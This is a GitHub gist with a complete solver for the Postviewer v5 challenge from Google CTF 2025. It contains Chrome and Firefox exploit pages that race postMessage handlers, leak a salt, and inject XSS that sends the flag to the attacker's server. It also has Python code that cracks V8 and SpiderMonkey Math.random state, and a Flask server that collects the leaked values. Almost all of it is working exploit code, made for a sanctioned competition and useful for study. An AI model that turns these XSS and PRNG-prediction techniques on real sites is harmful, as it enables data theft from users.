Skip to content

Instantly share code, notes, and snippets.

@terjanq
Last active June 30, 2025 07:00
Show Gist options
  • Save terjanq/69fd6290ec2d77852c02635392300660 to your computer and use it in GitHub Desktop.
Save terjanq/69fd6290ec2d77852c02635392300660 to your computer and use it in GitHub Desktop.
Postviewer v5 solver - Google CTF 2025
<script src="http://localhost:1338/static/safe-frame.js"></script>
<script src="http://localhost:1338/static/util.js"></script>
<!-- http://34.44.166.247/exploit-eolldodkgm9 -->
<script>
const RELOAD_TIME = 150;
const SMALL_DELAY = 2;
const MSG_DELAY = 80;
const MSG_INTERVAL = 3000;
const FIRST_STEP = 1e4; // try 1e5 if doesn't give flag after multiple tries
const SECOND_STEP = 8e3; // try 9e3 if doesn't give flag after multiple tries
const sleep = d => new Promise(r=>setTimeout(r,d));
const { promise: leakedSaltPromise, resolve: leakedSaltResolver } = Promise.withResolvers();
const { promise: xssReadyPromise, resolve: xssReadyResolver } = Promise.withResolvers();
const { promise: blankReadyPromise, resolve: blankReadyResolver } = Promise.withResolvers();
let saltLeaked = false;
function reset(){
appWin.close();
setTimeout(()=>{
location.reload();
},1000);
}
const splitToChunks = (arr, size) =>
Array.from({ length: Math.ceil(arr.length / size) }, (v, i) =>
arr.slice(i * size, i * size + size)
);
async function predictValidFlag(salt){
try{
const predictions = await fetch('/predict/'+salt).then(e=>e.json());
if(predictions.length == 0){
throw /failed to crack/;
}
const chunks = splitToChunks(predictions, 5);
let found = false;
let foundIdx = 0;
for(let i = 0; i < chunks.length; i++){
const newSalt = chunks[i].map(e=>e.toString(36).slice(2)).join('');
if(!found) {
if(newSalt == salt){
found = true;
foundIndex = i;
window.predictions = [salt];
}
continue;
}
window.predictions.push(newSalt);
if(newSalt.length == 49 || newSalt.length == 50){
return [newSalt, i-foundIndex-1];
}
}
throw /no salt found/;
}catch(e){
console.error(e);
reset();
}
}
async function generateBlob(content, nameLength=50){
for(let i=0; i<1e4; i++){
const newContent = content + Math.random();
const blob = new Blob([newContent], {type: 'text/html'})
const file = new File([blob], 'test' + 'a'.repeat(nameLength - 4), {type: 'text/html'});
const id = await generateFileId(file);
if(id.includes('test')){
return blob
}
}
throw new Error("didn't find content");
}
onmessage = e => {
if(e.data.salt){
saltLeaked = true;
clearInterval(window.interval);
leakedSaltResolver(new TextDecoder('utf-8').decode(e.data.salt));
}
if(e.data == 'ready'){
xssReadyResolver();
}
if(e.data == 'blankReady'){
blankReadyResolver();
}
if(e.data == 'loaded'){
setTimeout(()=>{
if(!saltLeaked){
reset();
}
}, 3_000);
}
}
onload = async () => {
window.appWin = open(`http://localhost:1338/#`, 'exploit', 'width=500,height=500');
await new Promise(resolve=>{
const interval = setInterval(()=>{
try{
appWin.location.href;
}catch(e){
resolve();
clearInterval(interval);
}
});
});
await sleep(500);
const blobName = await generateBlob(
`<script>window.name = "scf"; location = "${origin}/log/blob";<\/script>`);
const blobSalt = await generateBlob(`
<script>onload = () => {
console.log('[blob] loaded', Date.now());
opener.postMessage('loaded', '*');
}
onmessage = (e) => {opener.postMessage(e.data, '*')};
<\/script>
leak salt
`);
const transmitXss = await generateBlob(`
XSS<script>opener[0].eval(\`
top.postMessage("ready", "*");
flagWin = open('', 'scf');
var interval = setInterval(()=>{
const flag = flagWin.document.body.innerText;
if(flag.includes("CTF{")){
clearInterval(interval);
location="${window.origin}/flag/" + flag;
}
}, 1000);
\`)<\/script>
`, 49);
const infiniteLoadBlob = URL.createObjectURL(new Blob([`
Reload
<script>
itself = false;
int = setTimeout(()=>{
itself = true;
location = URL.createObjectURL(new Blob([document.documentElement.innerHTML], {type: 'text/html'}))
}, ${RELOAD_TIME});
onbeforeunload = () => {
if(!itself){
console.log('before', Date.now());
opener.postMessage('loaded', '*');
}
clearInterval(int);
}
<\/script>
`], {type: 'text/html'}));
const blankBlob = await generateBlob(`blank<script>onload = () => opener.postMessage('blankReady', '*');<\/script>`);
const shareFile = function(blob, name, cached=false){
appWin.postMessage({
type:'share',
files:[{
blob,
cached,
name
}]
}, '*');
}
shareFile(blobName, 'setname' + 'a'.repeat(50), true);
await sleep(1000);
window.innerWin = open('', 'scf');
window.innerWin.location = infiniteLoadBlob;
await sleep(1000);
shareFile(blobSalt, 'blobsalt' + 'a'.repeat(50));
fetch('/log/refresh');
await sleep(SMALL_DELAY);
// const buff = new Uint8Array(5e7);
// appWin.postMessage({ slow: 1e9 }, '*')
appWin.postMessage({ type:'share', files:{length: FIRST_STEP} }, '*')
console.log('[exp] slow down', Date.now());
window.interval = setInterval(() => {
// delay around 900ms
// const buff = new Uint8Array(3e7);
appWin.postMessage({ type:'share', files:{length: SECOND_STEP} }, '*')
}, MSG_DELAY);
setTimeout(()=>{
clearInterval(window.interval);
}, MSG_INTERVAL)
// In Chrome I only managed to win the race with reloading an innerIframe
// I suspect it's because it will trigger additional onload() event
// setTimeout(() => {console.log('innerWin', Date.now(), innerWin.origin); innerWin.location = "/reload/200" }, 80);
const salt = await leakedSaltPromise;
console.log('[exp] salt', salt);
const [predictedFlagSalt, afterN] = await predictValidFlag(salt);
console.log('[exp] predicted', predictedFlagSalt, afterN);
fetch('/log/predict:' + predictedFlagSalt + ':' + afterN);
const hash = await calculateHash('google-ctf', predictedFlagSalt, 'http://localhost:1338');
const url = new URL(
`https://${hash}-h748636364.scf.usercontent.goog/google-ctf/shim.html?cache=1`
);
let firstPred = true;
for(let i = 0; i < afterN; i++){
shareFile(blankBlob, 'blank' + 'a'.repeat(50));
await sleep(10);
firstPred = false;
}
const iframe = document.createElement('iframe');
iframe.src = url;
document.body.appendChild(iframe);
await new Promise(r=>iframe.onload=r);
if(!firstPred){
await blankReadyPromise;
console.log('[exp] blank ready');
}
shareFile(transmitXss, predictedFlagSalt, true);
await xssReadyPromise;
await sleep(1500);
appWin.location = 'http://localhost:1338/#'
await sleep(100);
appWin.location = 'http://localhost:1338/#0'
}
</script>
<script src="http://localhost:1338/static/safe-frame.js"></script>
<script src="http://localhost:1338/static/util.js"></script>
<!-- http://34.44.166.247/exploit-ff-eolldodkgm9 -->
<script>
const sleep = d => new Promise(r=>setTimeout(r,d));
const { promise: leakedSaltPromise, resolve: leakedSaltResolver } = Promise.withResolvers();
const { promise: xssReadyPromise, resolve: xssReadyResolver } = Promise.withResolvers();
const { promise: blankReadyPromise, resolve: blankReadyResolver } = Promise.withResolvers();
function reset(){
appWin.close();
setTimeout(()=>{
location.reload();
},1000);
}
const splitToChunks = (arr, size) =>
Array.from({ length: Math.ceil(arr.length / size) }, (v, i) =>
arr.slice(i * size, i * size + size)
);
async function predictValidFlag(salt){
try{
const predictions = await fetch('/predict-ff/'+salt).then(e=>e.json());
if(predictions.length == 0){
throw /failed to crack/;
}
const chunks = splitToChunks(predictions, 5);
let found = false;
let foundIdx = 0;
for(let i = 0; i < chunks.length; i++){
const newSalt = chunks[i].map(e=>e.toString(36).slice(2)).join('');
if(!found) {
if(newSalt == salt){
found = true;
foundIndex = i;
window.predictions = [salt];
}
continue;
}
window.predictions.push(newSalt);
if(newSalt.length == 49 || newSalt.length == 50){
return [newSalt, i-foundIndex-1];
}
}
throw /no salt found/;
}catch(e){
console.error(e);
reset();
}
}
async function generateBlob(content, nameLength=50){
for(let i=0; i<1e4; i++){
const newContent = content + Math.random();
const blob = new Blob([newContent], {type: 'text/html'})
const file = new File([blob], 'test' + 'a'.repeat(nameLength - 4), {type: 'text/html'});
const id = await generateFileId(file);
if(id.includes('test')){
return blob
}
}
throw new Error("didn't find content");
}
onmessage = e => {
console.log(e.data);
if(e.data.salt){
const salt = new TextDecoder('utf-8').decode(e.data.salt)
leakedSaltResolver(salt);
}
if(e.data == 'ready'){
xssReadyResolver();
}
if(e.data == 'blankReady'){
blankReadyResolver();
}
}
onload = async () => {
window.appWin = open('http://localhost:1338/#', 'poc', 'width=200,height=100');
await sleep(2000);
const blobSalt = await generateBlob(`
<script>onload = () => {console.log('loaded', Date.now())}; onmessage = (e) => {console.log(e.data.salt); top.opener.postMessage(e.data, '*')} <\/script>
leak salt`
);
const blankBlob = await generateBlob(`blank<script>onload = () => top.opener.postMessage('blankReady', '*');<\/script>`);
const transmitXss = await generateBlob(`
XSS<script>
top.opener[0].flagWin = window;
top.opener[0].eval(\`
top.postMessage("ready", "*");
var interval = setInterval(()=>{
const flag = flagWin.document.body.innerText;
if(flag.includes("CTF{")){
clearInterval(interval);
location="${window.origin}/flag/" + flag;
}
}, 1000);
\`)<\/script>
`, 49);
const shareFile = function(blob, name, cached=false){
appWin.postMessage({
type:'share',
files:[{
blob,
cached,
name
}]
}, '*');
}
await sleep(500);
// delay around 2.5s
const buff = new Uint8Array(3e7);
shareFile(blobSalt, 'blobsalt');
appWin.postMessage({ type: buff }, '*', [buff.buffer])
window.interval = setInterval(() => {
const buff = new Uint8Array(2e7);
appWin.postMessage({ type: buff }, '*', [buff.buffer])
}, 100);
setTimeout(()=>{
clearInterval(window.interval);
}, 3_000)
const salt = await leakedSaltPromise;
fetch('/log/salt:'+ salt);
const [predictedFlagSalt, afterN] = await predictValidFlag(salt);
console.log('[exp] predicted', predictedFlagSalt, afterN);
fetch('/log/predict:' + predictedFlagSalt + ':' + afterN);
const hash = await calculateHash('google-ctf', predictedFlagSalt, 'http://localhost:1338');
const url = new URL(
`https://${hash}-h748636364.scf.usercontent.goog/google-ctf/shim.html?cache=1`
);
let firstPred = true;
for(let i = 0; i < afterN; i++){
shareFile(blankBlob, 'blank' + 'a'.repeat(50));
await sleep(10);
firstPred = false;
}
const iframe = document.createElement('iframe');
iframe.src = url;
document.body.appendChild(iframe);
await new Promise(r=>iframe.onload=r);
console.log('[exp] before blank promise');
if(!firstPred){
await blankReadyPromise;
console.log('[exp] blank ready');
}
shareFile(transmitXss, predictedFlagSalt, true);
await xssReadyPromise;
await sleep(1500);
appWin.location = 'http://localhost:1338/#'
await sleep(1000);
appWin.location = 'http://localhost:1338/#0'
}
</script>
import z3
import struct
import numpy
from math import nextafter, inf
def base36_to_double(n):
"""
Inverts (num).toString(36).slice(2) from JavaScript to get `num`.
Example:
>>> base36_to_double("dv7xjxbdnm6")
0.38520087536951264
>>> base36_to_double("z")
0.9722222222222222
"""
return int(n, 36) / 36**len(n)
# Chrome predictor
# Based on https://github.com/kalmarunionenctf/kalmarctf/blob/main/2025/web/spukhafte/solution/solve.py
# With adjustemnts to account for a recent change:
# - https://source.chromium.org/chromium/_/chromium/v8/v8/+/e0609ce60acf83df5c6ecd8f1e02f771e9fc6538
MASK = 0xffffffffffffffff
def init_state():
mtx = [[0]*i + [1] + [0]*(127-i) for i in range(128)]
return mtx[:64], mtx[64:]
def shl_sym(mtx, n):
return mtx[n:] + [[0]*128]*n
def shr_sym(mtx, n):
return [[0]*128]*n + mtx[:-n]
def xor_sym(a, b):
return [[aaa^bbb for aaa, bbb in zip(aa, bb)] for aa, bb in zip(a, b)]
def xs128p_sym(old_s0, old_s1):
s1, s0 = old_s0, old_s1
s1 = xor_sym(s1, shl_sym(s1, 23))
s1 = xor_sym(s1, shr_sym(s1, 17))
s1 = xor_sym(s1, s0)
s1 = xor_sym(s1, shr_sym(s0, 26))
return s1
def xs128p(old_s0, old_s1):
s1, s0 = old_s0, old_s1
s1 ^= (s1 << 23) & MASK
s1 ^= (s1 >> 17)
s1 ^= s0
s1 ^= (s0 >> 26)
return s1
def mh(h):
h ^= h >> 33
h = (h * 0xFF51AFD7ED558CCD) & MASK
h ^= h >> 33
h = (h * 0xC4CEB9FE1A85EC53) & MASK
h ^= h >> 33
return h
def mh_inv(h):
h ^= h >> 33
h = (h * 0x9cb4b2f8129337db) & MASK
h ^= h >> 33
h = (h * 0x4f74430c22a54005) & MASK
h ^= h >> 33
return h
def bits_to_int(bits: list[bool]) -> int:
return int("".join(map(str, map(int, bits))), 2)
def int_to_bits(n, length):
return [((n >> (length - i - 1)) & 1) for i in range(length)]
def reverse17(val):
return val ^ (val >> 17) ^ (val >> 34) ^ (val >> 51)
def reverse23(val):
return (val ^ (val << 23) ^ (val << 46)) & MASK
def xs128p_backward(s0, s1):
prev_s0 = s1 ^ (s0 >> 26)
prev_s0 = prev_s0 ^ s0
prev_s0 = reverse17(prev_s0)
prev_s0 = reverse23(prev_s0)
return prev_s0
def state_to_double(s0: int) -> float:
return float(s0 >> 11) / (1 << 53)
def get_mantissa(val: float) -> int:
a = int(val * 2**53)
return a & 0x001F_FFFF_FFFF_FFFF
def validate_solution_v8(s0, s1, count=128):
for _ in range(count):
if mh(s0^MASK) == s1:
return mh_inv(s0)
s0, s1 = xs128p_backward(s0, s1), s0
def validate_solution_mr(s0, s1, count=128):
for _ in range(count):
if mh_inv(s0) == mh_inv(s1)^MASK:
return mh_inv(s0)
s0, s1 = xs128p_backward(s0, s1), s0
def solve_basic_state(A, b):
from sage.all import matrix, vector, GF
F = GF(2)
mtx = matrix(F, A)
vec = vector(F, b)
sol = mtx.solve_right(vec)
return bits_to_int(sol[:64]), bits_to_int(sol[64:])
def solve_math_random(numbers):
s0, s1 = init_state()
A = []
b = []
for n in numbers[::-1]:
A += s0[:53]
b += int_to_bits(get_mantissa(n), 53)
s0, s1 = s1, xs128p_sym(s0, s1)
s0, s1 = solve_basic_state(A, b)
return validate_solution_mr(s0, s1)
def iter_math_random(seed):
s0, s1 = mh(seed), mh(seed^MASK)
while True:
block = []
for _ in range(64):
s0, s1 = s1, xs128p(s0, s1)
block.append(state_to_double(s0))
yield from block[::-1]
def test_chrome_predict():
# A few random numbers generated by Chrome. The predictor should be
# able to calculate the last number, given the previous ones.
TEST_CASE = [0.32284380995926687, 0.35892538730903745, 0.2015652930688271, 0.7344003713130659, 0.49034320661854625]
seed = solve_math_random(TEST_CASE[:-1])
iter = iter_math_random(seed)
preds = [next(iter) for i in range(0,5)]
assert preds[-1] == TEST_CASE[-1], f"{preds[-1]} != {TEST_CASE[-1]}"
test_chrome_predict()
# Firefox predictor based on:
# - https://github.com/mkutay/spidermonkey-randomness-predictor/blob/main/main.py
def solve_math_random_ff(sequence):
solver = z3.Solver()
se_state0, se_state1 = z3.BitVecs("se_state0 se_state1", 64)
for i in range(len(sequence)):
se_s1 = se_state0
se_s0 = se_state1
se_s1 ^= se_s1 << 23
se_s1 ^= z3.LShR(se_s1, 17)
se_s1 ^= se_s0
se_s1 ^= z3.LShR(se_s0, 26)
se_state0 = se_state1
se_state1 = se_s1
calc = se_state1 + se_state0
mantissa = sequence[i] * (0x1 << 53)
solver.add(int(mantissa) == (calc & 0x1FFFFFFFFFFFFF))
if solver.check() == z3.sat:
model = solver.model()
states = {}
for state in model.decls():
states[state.__str__()] = model[state]
return states["se_state0"].as_long(), states["se_state1"].as_long()
def iter_math_random_ff(state0, state1):
MASK = 0xFFFFFFFFFFFFFFFF
while True:
s1 = state0 & MASK
s0 = state1 & MASK
s1 ^= (s1 << 23) & MASK
s1 ^= (s1 >> 17) & MASK
s1 ^= s0 & MASK
s1 ^= (s0 >> 26) & MASK
state0 = state1 & MASK
state1 = s1 & MASK
gen = (state0 + state1) & MASK
yield float(gen & 0x1FFFFFFFFFFFFF) / (0x1 << 53)
def test_firefox_predict():
# A few random numbers generated by Firefox. The predictor should be
# able to calculate the last number, given the previous ones.
TEST_CASE = [
0.8431670449485892,
0.43385289233085145,
0.7674771743931095,
0.9826449278522053,
0.867667470753005
]
state0, state1 = solve_math_random_ff(TEST_CASE[:-1])
iter = iter_math_random_ff(state0, state1)
preds = [next(iter) for i in range(0,5)]
assert preds[-1] == TEST_CASE[-1], f"{preds[-1]} != {TEST_CASE[-1]}"
test_firefox_predict()
import itertools
def chunks(s, lengths):
start = 0
i = 0
while True:
if i >= len(lengths):
l = len(s)
else:
l = lengths[i]
chunk = s[start:start+l]
i += 1
start += l
if chunk == '':
return
yield chunk
def chrome_predict_salt(salt, n=5):
for lens in itertools.product([11, 10, 12, 9], repeat=5):
if sum(lens) != len(salt): continue
nums = list(chunks(salt, lens))
nums = [base36_to_double(n) for n in nums]
# print(nums)
try:
seed = solve_math_random(nums)
iter = iter_math_random(seed)
return [next(iter) for i in range(0,n+5)]
except:
pass
def firefox_predict_salt(salt, n=5):
for lens in itertools.product([11, 10, 12, 9], repeat=5):
if sum(lens) != len(salt): continue
nums = list(chunks(salt, lens))
nums = [base36_to_double(n) for n in nums]
# print(nums)
try:
state0, state1 = solve_math_random_ff(nums)
iter = iter_math_random_ff(state0, state1)
return [next(iter) for i in range(0,n+5)]
except:
pass
from flask import Flask, send_file
import time
app = Flask(__name__)
@app.route("/")
def hello():
return "Hello"
@app.route("/sleep/<int:ms>")
def sleep(ms):
time.sleep(ms/1000)
return "sleep"
@app.route("/exploit-eolldodkgm9")
def exploit():
return send_file('exploit-chrome.html')
@app.route("/exploit-ff-eolldodkgm9")
def exploitff():
return send_file('exploit-firefox.html')
@app.route("/predict/<salt>")
def predict(salt):
predictions = chrome_predict_salt(salt, 5000) or []
return predictions
@app.route("/predict-ff/<salt>")
def predict_ff(salt):
predictions = firefox_predict_salt(salt, 5000) or []
return predictions
@app.route("/test")
def test():
return send_file('test-random.html')
@app.route("/flag/<flag>")
def say_flag(flag):
print(flag)
return "Hello"
@app.route("/log/<l>")
def log(l):
print(l)
return "Hello"
if __name__ == '__main__':
app.run(host='0.0.0.0', port='80')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment